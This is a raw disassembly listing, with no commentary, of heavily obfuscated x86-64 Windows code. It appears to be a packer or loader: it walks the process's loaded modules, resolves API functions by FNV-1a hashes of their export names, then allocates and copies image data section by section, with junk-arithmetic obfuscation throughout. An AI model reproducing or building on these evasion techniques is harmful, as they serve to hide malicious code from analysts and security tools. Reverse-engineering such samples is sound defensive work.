xor eax, 0xff893214
rol eax, 0x83
popf
pushf
not eax
add eax, 0xd163bbe6
xor eax, 0xd5107aa6
rol eax, 0x1b
popf
jmp 0x1400c1af9
mov dword [rsp + 0xb0], 1
jmp 0x1400c3364
mov dword [rsp + 0xb0], 0
push rax
pushf
mov eax, 0x7abcd91d
pushf
not eax
add eax, 0x83f395b9
xor eax, 0xdd9cb5e4
rol eax, 2
popf
pushf
not eax
add eax, 0x90d4de2f
xor eax, 0xe38a6dbf
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xfe6bccf2
xor eax, 0xe2adf23f
rol eax, 0xd0
popf
jmp 0x1400c1af9
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x36], al
movzx eax, byte [rsp + 0x36]
test eax, eax
je 0x1400c33b0
push rax
pushf
mov eax, 0xdd3755bd
pushf
not eax
add eax, 0x87411742
xor eax, 0xa0d7f269
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xa07966de
xor eax, 0xa9f3f9c4
rol eax, 0x59
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x82f479e5
pushf
not eax
add eax, 0xf835820b
xor eax, 0x9f41bb4f
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x92354a19
xor eax, 0xc7f43041
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x94c3ef62
xor eax, 0x8b40b7ec
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xaa2ccaec
xor eax, 0xab07cfe3
rol eax, 0
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x140], eax
mov eax, dword [rsp + 0x40]
jmp 0x1400c3428
dec eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x140], 0
je 0x1400c3495
push rax
pushf
mov eax, 0x34687bc6
pushf
not eax
add eax, 0x830ff503
xor eax, 0xf3e95df9
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xaf32add5
xor eax, 0x98b2868d
rol eax, 0x69
popf
pushf
not eax
add eax, 0x86d2565d
xor eax, 0xee875df2
rol eax, 0xc
popf
pushf
not eax
add eax, 0x944452f1
xor eax, 0xec77811c
rol eax, 0xeb
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x172649d8
pushf
not eax
add eax, 0xa6182cd7
xor eax, 0x9bd11080
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xfcdc55c2
xor eax, 0xf258dc82
rol eax, 0x11
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x35c]
mov dword [rsp + 0xb4], eax
movabs rax, 0x718a1ade4a3bd6dc
pushf
not rax
add rax, 0x51bfe52d
xor rax, 0x64fde51d
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x749e4d85
xor rax, 0x4ee23972
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x56212be0
xor rax, 0x4ce91ccc
rol rax, 0xf3
popf
shr rax, 0x20
mov dword [rsp + 0xb4], eax
mov rax, qword [rsp + 0x368]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xe8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x40]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x1e0], rax
movabs rax, 0x8a67be35bd3dabd5
pushf
not rax
add rax, 0x43d7a837
xor rax, 0x7fdf2fa2
rol rax, 0xe0
popf
pushf
not rax
add rax, 0x744604b3
xor rax, 0x586b64bb
rol rax, 0x21
popf
pushf
not rax
add rax, 0x468ed1c7
xor rax, 0x556fcc4c
rol rax, 0x47
popf
mov ecx, 0x98659a38
pushf
not ecx
add ecx, 0xe7eab9ad
xor ecx, 0xd15a8b15
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0xe509c039
xor ecx, 0xda1f0304
rol ecx, 0x3f
popf
and rax, rcx
mov dword [rsp + 0x144], eax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x180], rax
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0x6c], eax
mov rax, qword [rsp + 0x180]
movzx eax, byte [rax]
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x180]
inc rax
mov qword [rsp + 0x180], rax
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x31], al
movsx eax, byte [rsp + 0x31]
test eax, eax
jne 0x1400c36a9
push rax
pushf
mov eax, 0xb762058
pushf
not eax
add eax, 0xe55e8c0e
xor eax, 0xd460b3e0
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x81db58b3
xor eax, 0xd0163c50
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xc4bcfd3e
xor eax, 0xebb4174f
rol eax, 0x82
popf
pushf
not eax
add eax, 0xe6dbc869
xor eax, 0xfa9c9309
rol eax, 0x55
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xeed1339f
pushf
not eax
add eax, 0xa82a3871
xor eax, 0x80f97848
rol eax, 0x40
popf
pushf
not eax
add eax, 0xdb3a09c9
xor eax, 0xcb30cd92
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xd56bf778
xor eax, 0x9f8added
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xd7d27a1d
xor eax, 0xe188b313
rol eax, 0xc
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x148], eax
jmp 0x1400c38c1
xor eax, eax
test eax, eax
je 0x1400c37b7
push rax
pushf
mov eax, 0x6eecfab
pushf
not eax
add eax, 0xc36dda54
xor eax, 0x870a25c3
rol eax, 0x98
popf
pushf
not eax
add eax, 0xf69d0398
xor eax, 0x975b4b73
rol eax, 0xf
popf
pushf
not eax
add eax, 0xa1362858
xor eax, 0xea6b06f0
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xd038181c
xor eax, 0xee69b2b1
rol eax, 0xa6
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xe4e881c9
pushf
not eax
add eax, 0x86eea1e1
xor eax, 0xe14e858d
rol eax, 0x23
popf
pushf
not eax
add eax, 0xb571352d
xor eax, 0x9b2c001a
rol eax, 0x7a
popf
jmp 0x1400c1af9
movsx eax, byte [rsp + 0x31]
or eax, 0x20
mov dword [rsp + 0x90], eax
jmp 0x1400c386d
movsx eax, byte [rsp + 0x31]
mov dword [rsp + 0x90], eax
push rax
pushf
mov eax, 0xaf9a6f0e
pushf
not eax
add eax, 0xa8e0137e
xor eax, 0xbe8e03e7
rol eax, 0x47
popf
pushf
not eax
add eax, 0xaba7e802
xor eax, 0xc5dca3de
rol eax, 0xf2
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0x6c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x6c], eax
jmp 0x1400c361c
mov eax, dword [rsp + 0x144]
cmp dword [rsp + 0x148], eax
jne 0x1400c3904
push rax
pushf
mov eax, 0x12266a18
pushf
not eax
add eax, 0xd70a121a
xor eax, 0x922f2619
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xf6437ebf
xor eax, 0xafe2238c
rol eax, 0x89
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xee288b5d
pushf
not eax
add eax, 0x945f81ba
xor eax, 0x8b668bcb
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xfec31e23
xor eax, 0xb6e77a63
rol eax, 8
popf
pushf
not eax
add eax, 0xce16bed8
xor eax, 0xcfa23f28
rol eax, 0x76
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x2a0], rax
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x2a0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x2a8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x190], rax
jmp 0x1400c3b9a
jmp 0x1400c3418
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x2b8]
mov rax, qword [rax]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x188], rax
mov byte [rsp + 0x38], 1
movzx eax, byte [rsp + 0x38]
test eax, eax
jne 0x1400c3aef
push rax
pushf
mov eax, 0x35f67282
pushf
not eax
add eax, 0x8c2f1029
xor eax, 0x9d23bc41
rol eax, 0x55
popf
pushf
not eax
add eax, 0xf64da238
xor eax, 0xe6628193
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xc9e361a6
xor eax, 0xfc3393fe
rol eax, 0x7c
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x1590eeab
pushf
not eax
add eax, 0xfe6da0c4
xor eax, 0xfcf492c8
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x9669569b
xor eax, 0xa7f8b9b5
rol eax, 0x72
popf
pushf
not eax
add eax, 0x97a30823
xor eax, 0xf7139fa9
rol eax, 0x9a
popf
jmp 0x1400c1af9
mov qword [rsp + 0x190], 0
push rax
pushf
mov eax, 0xd502f287
pushf
not eax
add eax, 0xb92c4006
xor eax, 0xea6be2d8
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xd8db2695
xor eax, 0xcc7ad718
rol eax, 0x23
popf
pushf
not eax
add eax, 0x844cb591
xor eax, 0xf2fec31a
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xb093be72
xor eax, 0xf1687166
rol eax, 0xc2
popf
jmp 0x1400c1af9
mov ecx, 0xad7db131
pushf
not ecx
add ecx, 0x88a39e67
xor ecx, 0xd7225830
rol ecx, 0xbd
popf
pushf
not ecx
add ecx, 0xc751d011
xor ecx, 0xff4c6571
rol ecx, 0x6d
popf
pushf
not ecx
add ecx, 0x8013b57b
xor ecx, 0xb4962e97
rol ecx, 8
popf
pushf
not ecx
add ecx, 0xdff65f38
xor ecx, 0xdaa1ad33
rol ecx, 0x9f
popf
jmp 0x1400c3bf4
call qword [rsp + 0x190]
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x50]
mov r8d, 0x226de6e8
pushf
not r8d
add r8d, 0xe85c2d02
xor r8d, 0xc1f7dbb4
rol r8d, 0x5f
popf
pushf
not r8d
add r8d, 0xd5caaff4
xor r8d, 0xdb7af8c9
rol r8d, 0xeb
popf
pushf
not r8d
add r8d, 0x81dd44d0
xor r8d, 0x95fa9016
rol r8d, 0x4c
popf
pushf
not r8d
add r8d, 0xd557aabf
xor r8d, 0x964dacef
rol r8d, 0x68
popf
mov edx, eax
mov rcx, qword [rsp + 0x58]
call fcn.140161c88
mov qword [rsp + 0xd0], 0
jmp 0x1400c3d52
mov rax, qword [rsp + 0xd0]
add rax, 0x1000
mov qword [rsp + 0xd0], rax
push rax
pushf
mov eax, 0x5cae7b08
pushf
not eax
add eax, 0xa09a4a28
xor eax, 0xd8ddcfe3
rol eax, 0x96
popf
pushf
not eax
add eax, 0xdaa6b09b
xor eax, 0xf6d24a74
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x89d16f01
xor eax, 0xae7e18d5
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xe63422fb
xor eax, 0xffea1a47
rol eax, 0xff
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x50]
cmp qword [rsp + 0xd0], rax
jae 0x1400c3dbd
push rax
pushf
mov eax, 0xf05077ab
pushf
not eax
add eax, 0xf8e45ebe
xor eax, 0xff4d19b9
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xd8c7b7e1
xor eax, 0xdf674762
rol eax, 0xba
popf
pushf
not eax
add eax, 0xa805464c
xor eax, 0x9b2ee2fa
rol eax, 0xef
popf
pushf
not eax
add eax, 0x8d271038
xor eax, 0xd7d13083
rol eax, 0xfe
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x8e4863c
pushf
not eax
add eax, 0xb687258e
xor eax, 0xbaf68fdc
rol eax, 0x69
popf
pushf
not eax
add eax, 0xfa59e2f7
xor eax, 0xd17f4ea9
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x8eff76ae
xor eax, 0x8e4f3c7a
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xd22ee4ae
xor eax, 0xfdcaeece
rol eax, 0x5a
popf
jmp 0x1400c1af9
mov ecx, 0x5f58ef55
pushf
not ecx
add ecx, 0xa9f4f150
xor ecx, 0xf681f5b9
rol ecx, 0x63
popf
pushf
not ecx
add ecx, 0xded12075
xor ecx, 0xfde13e57
rol ecx, 0x3e
popf
jmp 0x1400c3e46
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x1e8], rax
mov rdi, qword [rsp + 0x1e8]
xor eax, eax
mov ecx, 0x44db2822
pushf
not ecx
add ecx, 0xbff434f8
xor ecx, 0xa6861d60
rol ecx, 0x5a
popf
pushf
not ecx
add ecx, 0x888a2a3b
xor ecx, 0xa7a6d8fa
rol ecx, 0x71
popf
pushf
not ecx
add ecx, 0xea455b22
xor ecx, 0xc879d6d6
rol ecx, 0xdb
popf
pushf
not ecx
add ecx, 0xcec2fa92
xor ecx, 0xc08072f6
rol ecx, 0xa6
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x58]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov r8d, 0x518d648c
pushf
not r8d
add r8d, 0xfac46526
xor r8d, 0xe655154e
rol r8d, 0x75
popf
pushf
not r8d
add r8d, 0x86454dd0
xor r8d, 0xa32dcb27
rol r8d, 0x4b
popf
pushf
not r8d
add r8d, 0xdacbe741
xor r8d, 0xc1662aa3
rol r8d, 0xe7
popf
pushf
not r8d
add r8d, 0xc69cc158
xor r8d, 0xbe4011e4
rol r8d, 0x8c
popf
mov rdx, qword [rsp + 0x1e8]
mov rcx, rax
call fcn.1400815da
jmp 0x1400c3ce3
mov r8d, 0x240c249a
pushf
not r8d
add r8d, 0xca38d42f
xor r8d, 0xc30dce83
rol r8d, 0xe8
popf
pushf
not r8d
add r8d, 0x8a119134
xor r8d, 0xe61610e2
rol r8d, 0xdb
popf
pushf
not r8d
add r8d, 0xf9dd4640
xor r8d, 0x956802f6
rol r8d, 0xe0
popf
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call fcn.1400815da
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x1a8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x1a0], rax
push rax
pushf
mov eax, 0xad639116
pushf
not eax
add eax, 0xe26016f9
xor eax, 0xbd52bd3f
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xd845136c
xor eax, 0xfabb3f33
rol eax, 0x77
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x1a0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0xd8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xd8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2e0], rax
mov eax, 0x41bf07e7
pushf
not eax
add eax, 0xa9395785
xor eax, 0x9e4472b1
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xfd08694b
xor eax, 0xf8c0f47c
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x94d41459
xor eax, 0x9f980dad
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x835bf805
xor eax, 0xa92badbd
rol eax, 0x99
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2e0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x1f0], rax
mov eax, dword [rsp + 0x1f0]
mov rcx, qword [rsp + 0xd8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0x1f4]
mov dword [rsp + 0x128], eax
mov rax, qword [rsp + 0x118]
cmp qword [rsp + 0x120], rax
je 0x1400c41d1
push rax
pushf
mov eax, 0x6b0be708
pushf
not eax
add eax, 0xdcf05512
xor eax, 0x86b72b5a
rol eax, 0x25
popf
pushf
not eax
add eax, 0xd35f082c
xor eax, 0xe8f39dad
rol eax, 0x73
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xc72b5eba
pushf
not eax
add eax, 0xec4efe48
xor eax, 0x93ba959e
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xd9a17ad3
xor eax, 0xb4b2a06e
rol eax, 0x4b
popf
jmp 0x1400c1af9
mov dword [rsp + 0x94], 1
jmp 0x1400c4282
mov dword [rsp + 0x94], 0
push rax
pushf
mov eax, 0x59de8db6
pushf
not eax
add eax, 0xff41fac5
xor eax, 0xe327b9b5
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x8ef27a08
xor eax, 0xda8e20bc
rol eax, 0x9a
popf
jmp 0x1400c1af9
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0x39]
test eax, eax
je 0x1400c42f4
push rax
pushf
mov eax, 0xf428b085
pushf
not eax
add eax, 0x989a15f2
xor eax, 0xc5aebf49
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x9f837b01
xor eax, 0xa9a67998
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xc7da353e
xor eax, 0x9c9239d7
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xaff1d54d
xor eax, 0xab3c907a
rol eax, 0x8e
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xf00db0b2
pushf
not eax
add eax, 0x92bef9f2
xor eax, 0xd29246e0
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xcba12bb2
xor eax, 0xec31097a
rol eax, 0xbd
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x14c], eax
mov eax, dword [rsp + 0x44]
jmp 0x1400c4346
dec eax
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x14c], 0
je 0x1400c43a0
push rax
pushf
mov eax, 0x2e52df26
pushf
not eax
add eax, 0xbf2df8d3
xor eax, 0x8a050af0
rol eax, 0x39
popf
pushf
not eax
add eax, 0x9756b483
xor eax, 0xe303e4dd
rol eax, 0xee
popf
pushf
not eax
add eax, 0x9becb591
xor eax, 0xd4cc65a8
rol eax, 0x5c
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xabbf9bf4
pushf
not eax
add eax, 0x8b28cac7
xor eax, 0xab53b5a8
rol eax, 0x13
popf
pushf
not eax
add eax, 0x92999097
xor eax, 0xfeba6de8
rol eax, 0x66
popf
pushf
not eax
add eax, 0x9cbd1eec
xor eax, 0xc0212cc2
rol eax, 4
popf
pushf
not eax
add eax, 0xac485089
xor eax, 0xdc4bc6cd
rol eax, 0xf0
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x358]
mov dword [rsp + 0x98], eax
movabs rax, 0x1d38b0a63da973cd
pushf
not rax
add rax, 0x5155b117
xor rax, 0x53fa41a4
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x79480aba
xor rax, 0x6fd4d676
rol rax, 0x4b
popf
shr rax, 0x20
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x118]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x44]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x1f8], rax
movabs rax, 0x2d283280996a63e3
pushf
not rax
add rax, 0x51b148e5
xor rax, 0x605c5b5d
rol rax, 0xc6
popf
pushf
not rax
add rax, 0x68baa0f7
xor rax, 0x75b0cc7a
rol rax, 0x9a
popf
pushf
not rax
add rax, 0x7dbd7aaf
xor rax, 0x591078f2
rol rax, 0x9e
popf
mov ecx, 0xd4ab1275
pushf
not ecx
add ecx, 0xa77fac06
xor ecx, 0xe5b353a6
rol ecx, 0xf0
popf
pushf
not ecx
add ecx, 0x9405e130
xor ecx, 0xb86d9929
rol ecx, 0x67
popf
pushf
not ecx
add ecx, 0xc049b2f9
xor ecx, 0xc4421c70
rol ecx, 0xc5
popf
pushf
not ecx
add ecx, 0xde5ad505
xor ecx, 0x9010f100
rol ecx, 0xb6
popf
and rax, rcx
mov dword [rsp + 0x150], eax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x198]
movzx eax, byte [rax]
mov byte [rsp + 0x3a], al
mov rax, qword [rsp + 0x198]
inc rax
mov qword [rsp + 0x198], rax
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x32], al
movsx eax, byte [rsp + 0x32]
test eax, eax
jne 0x1400c45ed
push rax
pushf
mov eax, 0xcf0770b7
pushf
not eax
add eax, 0xb9d3a677
xor eax, 0xf8d6eb58
rol eax, 0xa
popf
pushf
not eax
add eax, 0xdae14a66
xor eax, 0xa7fb31ed
rol eax, 0x25
popf
pushf
not eax
add eax, 0xee0e8a71
xor eax, 0xd49dc6ff
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x9fd3215c
xor eax, 0x91c47a11
rol eax, 7
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x8201724d
pushf
not eax
add eax, 0xa3f57c5f
xor eax, 0xad781c1a
rol eax, 0x79
popf
pushf
not eax
add eax, 0xca23b833
xor eax, 0xb30aa01c
rol eax, 0x61
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x154], eax
jmp 0x1400c4808
xor eax, eax
test eax, eax
je 0x1400c469c
push rax
pushf
mov eax, 0x3bd0d7f5
pushf
not eax
add eax, 0xebc629a9
xor eax, 0x90aff217
rol eax, 0x92
popf
pushf
not eax
add eax, 0xd92894e4
xor eax, 0x9e979779
rol eax, 6
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x5d355143
pushf
not eax
add eax, 0x912c5beb
xor eax, 0xaf7f85ab
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xecd115e1
xor eax, 0xda5ef3a7
rol eax, 0xc4
popf
jmp 0x1400c1af9
movsx eax, byte [rsp + 0x32]
or eax, 0x20
mov dword [rsp + 0x9c], eax
jmp 0x1400c47a1
movsx eax, byte [rsp + 0x32]
mov dword [rsp + 0x9c], eax
push rax
pushf
mov eax, 0x43f04d28
pushf
not eax
add eax, 0x86535462
xor eax, 0xa53faaee
rol eax, 0x18
popf
pushf
not eax
add eax, 0xdb7630f3
xor eax, 0xff599a2d
rol eax, 0x97
popf
pushf
not eax
add eax, 0xd8587903
xor eax, 0x93d5f33c
rol eax, 0x86
popf
pushf
not eax
add eax, 0xa08dd74b
xor eax, 0x9c83fd7e
rol eax, 0x52
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x9c]
mov ecx, dword [rsp + 0x70]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x70], eax
jmp 0x1400c4560
mov eax, dword [rsp + 0x150]
cmp dword [rsp + 0x154], eax
jne 0x1400c485e
push rax
pushf
mov eax, 0x910b81d
pushf
not eax
add eax, 0xf59f3677
xor eax, 0x86dab232
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x99d697c8
xor eax, 0xa2414759
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xeb815fbf
xor eax, 0x9867df15
rol eax, 0xa4
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xcf2ab2a8
pushf
not eax
add eax, 0xa30b0171
xor eax, 0xea74efb1
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xce32f23e
xor eax, 0xff8864e6
rol eax, 0xce
popf
pushf
not eax
add eax, 0x8da17720
xor eax, 0xcd3261ce
rol eax, 0x54
popf
pushf
not eax
add eax, 0xabb95fbe
xor eax, 0xa0103b1f
rol eax, 0x95
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x2e8], rax
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x2e8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x2f0]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x2f8], rax
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x1a8], rax
jmp 0x1400c4b07
jmp 0x1400c4336
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
mov rax, qword [rax]
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x1a0], rax
mov byte [rsp + 0x3b], 1
movzx eax, byte [rsp + 0x3b]
test eax, eax
jne 0x1400c4a5c
push rax
pushf
mov eax, 0x695bc660
pushf
not eax
add eax, 0xc0020c6d
xor eax, 0xaae6c00c
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xadc3af13
xor eax, 0xc801ee28
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xfcfc13d7
xor eax, 0xa848ee3d
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xc1a0842f
xor eax, 0x9005e1e0
rol eax, 0xa4
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x7110ecdf
pushf
not eax
add eax, 0x8d8df128
xor eax, 0xd5ac13cc
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xaca7410e
xor eax, 0xdea2572a
rol eax, 0x83
popf
pushf
not eax
add eax, 0x938ec76f
xor eax, 0xab7d51c4
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xc1c5ff29
xor eax, 0x9f1cddb8
rol eax, 0xe3
popf
jmp 0x1400c1af9
mov qword [rsp + 0x1a8], 0
push rax
pushf
mov eax, 0x75864004
pushf
not eax
add eax, 0xb2d1a8ab
xor eax, 0x8c64370b
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xea4768f3
xor eax, 0x844cfebb
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe04f3a6f
xor eax, 0xd7d51e12
rol eax, 2
popf
jmp 0x1400c1af9
mov ecx, 0xebe5b42
pushf
not ecx
add ecx, 0xa593db7f
xor ecx, 0xe1936a0d
rol ecx, 0x50
popf
pushf
not ecx
add ecx, 0xac5a29d8
xor ecx, 0x8e7573e3
rol ecx, 0x82
popf
pushf
not ecx
add ecx, 0xd756c5f6
xor ecx, 0x84ce198c
rol ecx, 4
popf
pushf
not ecx
add ecx, 0xbea735f1
xor ecx, 0xad899a1a
rol ecx, 0x80
popf
jmp 0x1400c4b61
call qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x74], 0
jmp 0x1400c4c32
mov eax, dword [rsp + 0x74]
jmp 0x1400c4beb
inc eax
mov dword [rsp + 0x74], eax
mov rax, qword [rsp + 0x48]
add rax, 0x28
mov qword [rsp + 0x48], rax
push rax
pushf
mov eax, 0x451b8197
pushf
not eax
add eax, 0xd1edcdfa
xor eax, 0xbf20aab8
rol eax, 0x48
popf
pushf
not eax
add eax, 0xab0bf56b
xor eax, 0xb822fb37
rol eax, 0x13
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x74], eax
je 0x1400c4c78
push rax
pushf
mov eax, 0xeed3e072
pushf
not eax
add eax, 0xf1d89675
xor eax, 0xd109d440
rol eax, 0x88
popf
pushf
not eax
add eax, 0xf5042a50
xor eax, 0xe5a1e77d
rol eax, 0xed
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x8769172c
pushf
not eax
add eax, 0x873b1eae
xor eax, 0xcd8883f2
rol eax, 0x53
popf
pushf
not eax
add eax, 0xd0506cac
xor eax, 0xacb6d951
rol eax, 0xdf
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x48]
cmp dword [rax + 0x10], 0
je 0x1400c4d00
push rax
pushf
mov eax, 0x654ef2c6
pushf
not eax
add eax, 0x9d218752
xor eax, 0x8d274579
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xca9ea232
xor eax, 0xde4b774d
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xc7391df3
xor eax, 0xcc35cca2
rol eax, 0xb4
popf
jmp 0x1400c1af9
push rax
pushf
